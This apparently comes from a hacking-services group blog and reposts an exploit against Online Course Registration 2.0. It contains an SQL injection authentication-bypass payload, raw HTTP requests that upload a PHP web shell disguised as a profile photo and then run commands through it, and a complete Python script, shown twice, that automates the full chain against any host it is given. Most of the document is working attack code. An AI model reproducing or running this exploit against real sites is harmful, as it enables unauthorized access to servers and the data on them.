Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86373165

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Online Course Registration 2.0 - Remote Code Execution
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/online-course-registration-free-download/
# Version: v2.0
# Category: Webapps
# Tested on: Xampp for Windows

# Description:
Attacker can bypass login page and access to student change password dashboard.

PoC Request (Authentication Bypass):

POST /onlinecourse/index.php HTTP/1.1
Host: target

regno=joke' or '1'='1'#&password=joke' or '1'='1'#&submit=


There isn't any file extension control in student panel "My Profile" section.
An unauthorized user can upload php file as profile image.

First PoC Request (RCE):

POST /onlinecourse/my-profile.php HTTP/1.1
Host: target

-----------------------------16046344889164047791563222514
Content-Disposition: form-data; name="photo"; filename="simple.php"
Content-Type: application/x-php

<?php $cmd=$_GET["cmd"]; echo `$cmd`; ?>


Second PoC Request (RCE):

GET /onlinecourse/studentphoto/simple.php?cmd=ipconfig HTTP/1.1
Host: target


Below basic python script will bypass authentication and execute command on target server.





import requests
import sys                        

if (len(sys.argv) !=3) or sys.argv[1] == "-h":
print "[*] Usage: PoC.py rhost/rpath "
print "[*] e.g.: PoC.py 127.0.0.1/onlinecourse "
exit(0)

rhost = sys.argv[1]
command = sys.argv[2]



url = "http://"+rhost+"/index.php"
data = {"regno": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}

with requests.Session() as session:
#bypass authentication
lg = login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})

#check authentication bypass
check = session.get("http://"+rhost+"/my-profile.php", allow_redirects=False)
if check.status_code == 200:
print "[+] Authentication bypass was successfull"
else:
print "[-] Authentication bypass was unsuccessful"
sys.exit()

#upload simple php file

files = {'photo':('command.php', '<?php system($_GET["cmd"]); ?>')}
fdata = {"studentname": "Test", "studentregno": "10806157", "Pincode": "715989", "cgpa": "0.00", "photo": "command.php", "submit": ""}
furl = "http://"+rhost+"/my-profile.php"
session.post(url=furl, files= files, data=fdata)

#execution
final=session.get("http://"+rhost+"/studentphoto/command.php?cmd="+command)

#check execution
if final.status_code == 200:
print "[+] Command execution completed successfully."
print "\tPut on a happy face!\n"
else:
print "[-] Command execution was unsuccessful."
sys.exit()

print final.text

online-course-registration-rce.png

poc.py

import requests
import sys                         

if (len(sys.argv) !=3) or sys.argv[1] == "-h":
	print "[*] Usage: PoC.py rhost/rpath "
	print "[*] e.g.: PoC.py 127.0.0.1/onlinecourse "
	exit(0) 

rhost = sys.argv[1]
command = sys.argv[2]



url = "http://"+rhost+"/index.php"
data = {"regno": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}

with requests.Session() as session:
	#bypass authentication
	lg = login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})
	
	#check authentication bypass
	check = session.get("http://"+rhost+"/my-profile.php", allow_redirects=False)
	if check.status_code == 200:
		print "[+] Authentication bypass was successfull"
	else:
		print "[-] Authentication bypass was unsuccessful"
		sys.exit()	 

	#upload simple php file

	files = {'photo':('command.php', '<?php system($_GET["cmd"]); ?>')}
	fdata = {"studentname": "Test", "studentregno": "10806157", "Pincode": "715989", "cgpa": "0.00", "photo": "command.php", "submit": ""}
	furl = "http://"+rhost+"/my-profile.php"
	session.post(url=furl, files= files, data=fdata)
	
	#execution
	final=session.get("http://"+rhost+"/studentphoto/command.php?cmd="+command)

	#check execution
	if final.status_code == 200:
		print "[+] Command execution completed successfully.\n"
		print "\tPut on a happy face!\n"
	else:
		print "[-] Command execution was unsuccessful."
		sys.exit()

	print final.text